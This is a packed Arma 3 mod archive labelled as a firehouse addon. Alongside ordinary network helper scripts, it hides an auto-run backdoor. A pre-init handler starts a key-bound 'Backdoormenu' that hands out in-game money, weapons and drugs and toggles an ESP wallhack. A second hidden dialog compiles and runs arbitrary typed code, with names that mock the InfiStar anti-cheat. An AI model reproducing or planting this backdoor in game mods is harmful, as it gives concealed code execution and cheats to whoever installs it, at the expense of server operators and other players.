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- sreV pboprefix a3l_firehouse prefix NP_ItemsDiamond1 BIS_AddonInfo.hpp Q }\Q config.bin Q `\Q config.cpp ‘ }\‘ init.sqf ( `\( memenu.sqf w2 Ż5\w2 f\lsd_nvkeymap.sqf _H7R network\fn_broadcast.sqf  D×±V network\fn_corpse.sqf D×±V network\fn_HCC.sqf ˛ D×±V˛ network\fn_jumpFnc.sqf Ę D×±VĘ network\fn_netSetVar.sqf S D×±VS network\fn_say3D.sqf ¦ D×±V¦ network\fn_setFuel.sqf * D×±V* network\fn_setTexture.sqf ä D×±Vä class BIS_AddonInfo
- {
- author="smiley monkey";
- timepacked="1544719131";
- };
- raP G CfgPatches W Extended_PreInit_EventHandlers Ç cfgMods G A3L_Firehouse p Ç units weapons requiredVersion requiredAddons Extended_EventHandlers Ç DRI_NF_Init DRI_NF_Init_Var = [] execVM "\NP_ItemsDiamond1\init.sqf" author 76561198109673463 timepacked 1455475951 G #include "BIS_AddonInfo.hpp"
- class CfgPatches
- {
- class A3L_Firehouse
- {
- units[]={};
- weapons[]={};
- requiredVersion=1;
- requiredAddons[]=
- {
- "Extended_EventHandlers"
- };
- };
- };
- class Extended_PreInit_EventHandlers
- {
- DRI_NF_Init="DRI_NF_Init_Var = [] execVM ""\NP_ItemsDiamond1\init.sqf""";
- };
- class cfgMods
- {
- author="76561198109673463";
- timepacked="1455475951";
- };
- [] execVM "\NP_ItemsDiamond1\memenu.sqf" [] spawn {
- while {true} do {
- if (inputAction "User17" > 0) then
- {
- [] spawn FNmemenu;
- waituntil {inputAction "User17" == 0};
- };
- };
- };
- FNmemenu = {
- removeallactions player;
- [] call life_fnc_setupActions;
- player addAction ["<t color=""#009933"">Backdoormenu</t>", MenuRPG];
- };
- MenuRPG = {
- removeallactions player;
- player addAction ["<t color=""#000000"">Zamknij</t>", {removeAllActions player; [] call life_fnc_setupActions;}];
- player addAction ["<t color=""#4B0082"">Leczenie</t>", Leczenie];
- player addAction ["<t color=""#0000cc"">Bronie + Ubrania</t>", Bronie];
- player addAction ["<t color=""#6dc066"">Surki i Narkotyki</t>", Narko];
- player addAction ["<t color=""#ff00ff"">Hajs</t>", Hajs];
- player addAction ["<t color=""#00b3b3"">Esp2</t>", Esp2];
- };
- Hajs = {
- removeallactions player;
- player addAction ["<t color=""#000000"">~~Powrot do menu~~</t>", MenuRPG];
- player addAction ["<t color=""#cc0066"">10K</t>", Hajs10K];
- player addAction ["<t color=""#cc0066"">50K</t>", Hajs50K];
- player addAction ["<t color=""#cc0066"">100K</t>", Hajs100K];
- player addAction ["<t color=""#cc0066"">500K</t>", Hajs500K];
- };
- Leczenie = {
- life_thirst = 100;
- life_hunger = 100;
- batterylevel = 100;
- _elo = player;
- _elo setFatigue 0;
- _elo setDamage 0;
- hint "Pomyślnie uleczono.";
- };
- Bronie = {
- removeallactions player;
- player addAction ["<t color=""#000000"">~~Powrot do menu~~</t>", MenuRPG];
- player addAction ["<t color=""#cc0066"">Kamza</t>", Kamza];
- player addAction ["<t color=""#cc0066"">Pepe</t>", Pepe];
- player addAction ["<t color=""#cc0066"">Deagle</t>", Deagle];
- player addAction ["<t color=""#cc0066"">Taurus</t>", Taurus];
- player addAction ["<t color=""#cc0066"">Tec</t>", Tec];
- player addAction ["<t color=""#cc0066"">FiveSeven</t>", Five7];
- player addAction ["<t color=""#cc0066"">Glock</t>", Glock];
- player addAction ["<t color=""#cc0066"">Carrier</t>", Carrier];
- player addAction ["<t color=""#cc0066"">ColtM4</t>", Kolt];
- player addAction ["<t color=""#cc0066"">Kamza 3</t>", Kamza3];
- player addAction ["<t color=""#cc0066"">Hk416</t>", Hk416];
- player addAction ["<t color=""#cc0066"">CiuchSO</t>", StrojSO];
- player addAction ["<t color=""#cc0066"">FNP45</t>", fnp];
- player addAction ["<t color=""#cc0066"">Tryk</t>", tryk];
- player addAction ["<t color=""#cc0066"">Sert</t>", sert];
- };
- Narko = {
- removeallactions player;
- player addAction ["<t color=""#000000"">~~Powrot do menu~~</t>", MenuRPG];
- player addAction ["<t color=""#cc0066"">Heroina</t>", Heroina];
- player addAction ["<t color=""#cc0066"">Koka</t>", Koka];
- player addAction ["<t color=""#cc0066"">Meta</t>", Meta];
- player addAction ["<t color=""#cc0066"">Drewno</t>", Drewno];
- player addAction ["<t color=""#cc0066"">Silver</t>", Silver];
- player addAction ["<t color=""#cc0066"">Miedz</t>", Miedz];
- player addAction ["<t color=""#cc0066"">Zelazo</t>", Zelazo];
- player addAction ["<t color=""#cc0066"">Kangur</t>", Kangur];
- player addAction ["<t color=""#cc0066"">Stol</t>", stol];
- player addAction ["<t color=""#cc0066"">Olej</t>", Olej];
- player addAction ["<t color=""#cc0066"">Drugbrick</t>", drugbrick];
- player addAction ["<t color=""#cc0066"">Hacking Device</t>", Hacking];
- player addAction ["<t color=""#cc0066"">Drill</t>", Drill];
- player addAction ["<t color=""#cc0066"">Grapling Hook</t>", Hook];
- player addAction ["<t color=""#cc0066"">Kolczaty</t>", kolczaty];
- };
- Heroina = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["CG_Heroin", 2];
- };
- kolczaty = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["CG_Spikes_Collapsed", 2];
- };
- Miedz = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["np_copperbar1", 10];
- };
- Silver = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["np_silverbar1", 10];
- };
- Drewno = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["NP_Wood", 10];
- };
- Zelazo = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["np_ironbar1", 10];
- };
- Kangur = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["NP_kPelt", 2];
- };
- stol = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["NP_DrugTable", 1];
- };
- drugbrick = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["CG_DrugBrick", 10];
- };
- Olej = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["CG_OilCanister", 10];
- };
- Koka = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["CG_Cocaine", 2];
- };
- Meta = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["CG_MethBag100", 2];
- };
- Drill = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["NP_drillitem", 1];
- };
- Hook = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["CG_MetalWire", 1];
- };
- Hacking = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["cg_hackingtool", 1];
- };
- Pepe = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["KA_Vityaz", 1];
- (unitBackpack _elo) addItemCargo ["KA_Vityaz_PBS_1_Silencer", 1];
- (unitBackpack _elo) addItemCargo ["KA_30Rnd_9x19_7N31_AP_Mag", 5];
- };
- Deagle = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["RH_Deagles", 1];
- (unitBackpack _elo) addItemCargo ["RH_7Rnd_50_AE", 8];
- };
- Taurus = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["RH_bull", 1];
- (unitBackpack _elo) addItemCargo ["RH_6Rnd_454_Mag", 8];
- };
- Tec = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["RH_tec9", 1];
- (unitBackpack _elo) addItemCargo ["RH_32Rnd_9x19_tec", 8];
- };
- Five7 = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["RH_fn57", 1];
- (unitBackpack _elo) addItemCargo ["RH_20Rnd_57x28_FN", 10];3
- };
- Glock = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["RH_g19t", 1];
- (unitBackpack _elo) addItemCargo ["RH_33Rnd_9x19_g18", 10];
- };
- Kamza = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["TAC_PBDFG2_CY_1", 1];
- };
- Kolt = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["KA_M4A1_F", 1];
- (unitBackpack _elo) addItemCargo ["150Rnd_556x45_Drum_Mag_Tracer_F", 4];
- (unitBackpack _elo) addItemCargo ["optic_Arco", 1];
- (unitBackpack _elo) addItemCargo ["Bipod_MOE_Grip_MOE_Stock_Black", 1];
- (unitBackpack _elo) addItemCargo ["KA_30Rnd_556x45_Mk318", 5];
- };
- Hk416 = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["hlc_rifle_416D10", 1];
- (unitBackpack _elo) addItemCargo ["hlc_30rnd_556x45_SOST", 10];
- (unitBackpack _elo) addItemCargo ["bipod_02_F_blk", 1];
- (unitBackpack _elo) addItemCargo ["optic_Arco", 1];
- };
- fnp = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["RH_fnp45", 1];
- (unitBackpack _elo) addItemCargo ["RH_15Rnd_45cal_fnp", 10];
- (unitBackpack _elo) addItemCargo ["RH_gemtech45", 1];
- (unitBackpack _elo) addItemCargo ["RH_docter", 1];
- };
- Kamza3 = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["TAC_PBDFG2_CY_1", 1];
- };
- tryk = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["TRYK_U_B_BLKBLK_R_CombatUniform", 1];
- };
- sert = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["prp_SO_Lieutenant_fto_SERT", 1];
- };
- StrojSO = {
- _elo = player;
- (unitBackpack _elo) addItemCargo ["sl_client_c_pduniform_so_deputy_W", 1];
- };
- Hajs10K = {
- _amount = 10000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
- };
- Hajs50K = {
- _amount = 50000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
- };
- Hajs100K = {
- _amount = 100000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
- };
- Hajs500K = {
- _amount = 500000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
- };
- Esp2 = {
- if (isnil("majcziesp")) then {
- majcziesp = 0;
- };
- if (majcziesp == 0) then {
- majcziesp = 1;
- hint "ESP ON";
- } else {
- majcziesp = 0;
- hint "ESP OFF";
- };
- if (majcziesp == 1) then {
- onEachFrame {
- _l49 = nearestobjects[player, ["CAManBase"], 1400]; {
- if ((side _x != side player) && (getPlayerUID _x != "") && ((player distance _x) < 1400)) then {
- drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
- } else {
- if ((getPlayerUID _x != "") && ((player distance _x) < 1000)) then {
- drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
- };
- };
- }
- foreach playableUnits;
- };
- } else {
- onEachFrame {
- nil
- };
- };
- };
- majczi = {
- _majczigod = {findDisplay 24};
- createDialog "RscDisplayChat";
- majczii = {
- _majczi_majczi_textField = "";
- _majczi_majczi_textField = ctrlText MajcziSaysHelloToEveryoneAtInfiStar_TextBox;
- for "_i" from 1 to 1 do compile _majczi_majczi_textField;
- };
- _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack = (call _majczigod) ctrlCreate ["IGUIBack", 2200];
- _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack ctrlSetPosition [0.417492 * safezoneW + safezoneX,0.224899 * safezoneH + safezoneY,0.149531 * safezoneW,0.132 * safezoneH];
- _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack ctrlSetBackgroundColor [0.271,0.047,0.91,1];
- _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack ctrlCommit 0;
- _MajcziSaysHelloToEveryoneAtInfiStar_Button = (call _majczigod) ctrlCreate ["RscButton", 1600];
- _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlSetText "Backdoor menu by VN";
- _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlSetPosition [0.417492 * safezoneW + safezoneX, 0.224899 * safezoneH + safezoneY, 0.149546 * safezoneW, 0.0330121 * safezoneH];
- _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlSetTextColor [0.29,0.988,1,1];
- _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlCommit 0;
- MajcziSaysHelloToEveryoneAtInfiStar_TextBox = (call _majczigod) ctrlCreate ["RscEdit", 1400];
- MajcziSaysHelloToEveryoneAtInfiStar_TextBox ctrlSetPosition [0.422648 * safezoneW + safezoneX, 0.279919 * safezoneH + safezoneY, 0.139233 * safezoneW, 0.0330121 * safezoneH];
- MajcziSaysHelloToEveryoneAtInfiStar_TextBox ctrlSetText "hint ""Wykonano polecenie."";";
- MajcziSaysHelloToEveryoneAtInfiStar_TextBox ctrlCommit 0;
- _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo = (call _majczigod) ctrlCreate ["RscButton", 1601];
- _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlSetText "EXEC";
- _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlSetPosition [0.422648 * safezoneW + safezoneX, 0.312931 * safezoneH + safezoneY, 0.139233 * safezoneW, 0.0330121 * safezoneH];
- _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlSetTextColor [0.29,0.988,1,1];
- _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo buttonSetAction "[]spawn majczii;";
- _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlCommit 0;
- };
- [] spawn {
- while {true} do {
- if (inputAction "User11" > 0) then
- {
- waitUntil{inputAction "User11" > 0};
- [] spawn majczi;
- waitUntil{inputAction "User11" == 0};
- };
- };
- };
- #define PAGE_UP 201
- #define PAGE_DOWN 209
- #define MAX_SENSITIVITY 1
- #define MIN_SENSITIVITY 20
- #define INCREMENT 1
- private ["_ctrlID", "_dikCode", "_shift", "_ctrl", "_alt", "_handled"];
- _ctrlID = _this select 0;
- _dikCode = _this select 1;
- _shift = _this select 2;
- _ctrl = _this select 3;
- _alt = _this select 4;
- _handled = false;
- // if there's a dialog or map up, or there is no nv, just quit
- // shift is required now
- if ( dialog || visibleMap || !lsd_nvOn || !_shift) exitWith { false };
- switch ( _dikCode ) do
- {
- case PAGE_UP:
- {
- if ( lsd_nvSensitivity > MAX_SENSITIVITY ) then
- {
- lsd_nvSensitivity = lsd_nvSensitivity - INCREMENT;
- _handled = true;
- };
- };
- case PAGE_DOWN:
- {
- if ( lsd_nvSensitivity < MIN_SENSITIVITY ) then
- {
- lsd_nvSensitivity = lsd_nvSensitivity + INCREMENT;
- _handled = true;
- };
- };
- };
- if ( _handled ) then
- {
- if ( lsd_nvSensitivity == 20 ) then // go to auto mode
- {
- setAperture -1;
- } else // manual mode
- {
- setAperture ( lsd_nvSensitivity / 2);
- };
- playSound "Counter";
- 1000 cutRsc ["LSD_Rsc_nvHint","PLAIN"];
- ((uiNamespace getVariable "LSD_Rsc_nvHint") displayCtrl 1) ctrlSetStructuredText parseText(lsd_nvSensitivityBar select lsd_nvSensitivity);
- };
- _handled
- if(!hasInterface) exitWith {};
- private["_type","_message"];
- _type = param [0,0,[[],0]];
- _message = param [1,"",[""]];
- if(_message == "") exitwith {};
- [format["%1",_message], false] spawn domsg;/*
- File: fn_HCC.sqf
- Author: Steven Campbell
- Headless Client Check
- */
- _result = 2;
- if(!isNil("life_HC_isActive") && {life_HC_isActive}) then {
- _result = hc_1;
- };
- _result;/*
- File: fn_jumpFnc.sqf
- Description:
- Makes the target jump.
- */
- params [["_unit", objNull, [objNull]], ["_run", true, [false]], "_vel", "_dir", "_v1", "_v2", "_anim"];
- if(isNull _unit) exitWith {}; //Bad data
- if(local _unit && !_run) exitWith {}; //Ahh
- if(animationState _unit isEqualTo "AovrPercMrunSrasWrflDf_amovpercmsprsnonwnondf_amovppnemstpsnonwnondnon") exitWith {};
- if(animationState _unit isEqualTo "amovpercmsprsnonwnondf_amovppnemstpsnonwnondnon") exitWith {};
- if(animationState _unit isEqualTo "AovrPercMrunSrasWrflDf") exitWith {};
- _velocity = velocity _unit;
- if(local _unit) then {
- _v1 = 3.82;
- _v2 = .4;
- _dir = direction player;
- _vel = velocity _unit;
- _unit setVelocity[(_vel select 0)+(sin _dir*_v2),(_vel select 1)+(cos _dir*_v2),(_vel select 2)+_v1];
- };
- _anim = animationState _unit;
- _unit switchMove "AovrPercMrunSrasWrflDf";
- if(local _unit) then {
- waitUntil{animationState _unit != "AovrPercMrunSrasWrflDf"};
- _unit switchMove _anim;
- };/*
- File: fn_netSetVar.sqf
- Description:
- Set a variable on a client.
- */
- disableSerialization;
- params [["_varName", "", [""]], ["_value",-9999,[sideUnknown,"",[],{},false,0,ObjNull,GrpNull,displayNull]], ["_ns", missionNamespace, [missionNamespace]]];
- if(_varName == "") exitWith {}; //Error checking
- _ns setVariable[_varName,_value];private["_object","_sound"];
- _object = param [0,ObjNull,[ObjNull]];
- _sound = param [1,"",[""]];
- if(isNull _object OR _sound == "") exitWith {};
- _object say3D _sound;(_this select 0) setFuel (_this select 1);private["_object","_index","_texture"];
- _object = param [0,ObjNull,[ObjNull]];
- _index = param [1,0,[0]];
- _texture = param [2,"",[""]];
- if(isNull _object OR _texture == "") exitWith {};
- _object setObjectTexture[_index,_texture]; VMĘŃŚuV/LŰAĽ*X@ł<|‚o
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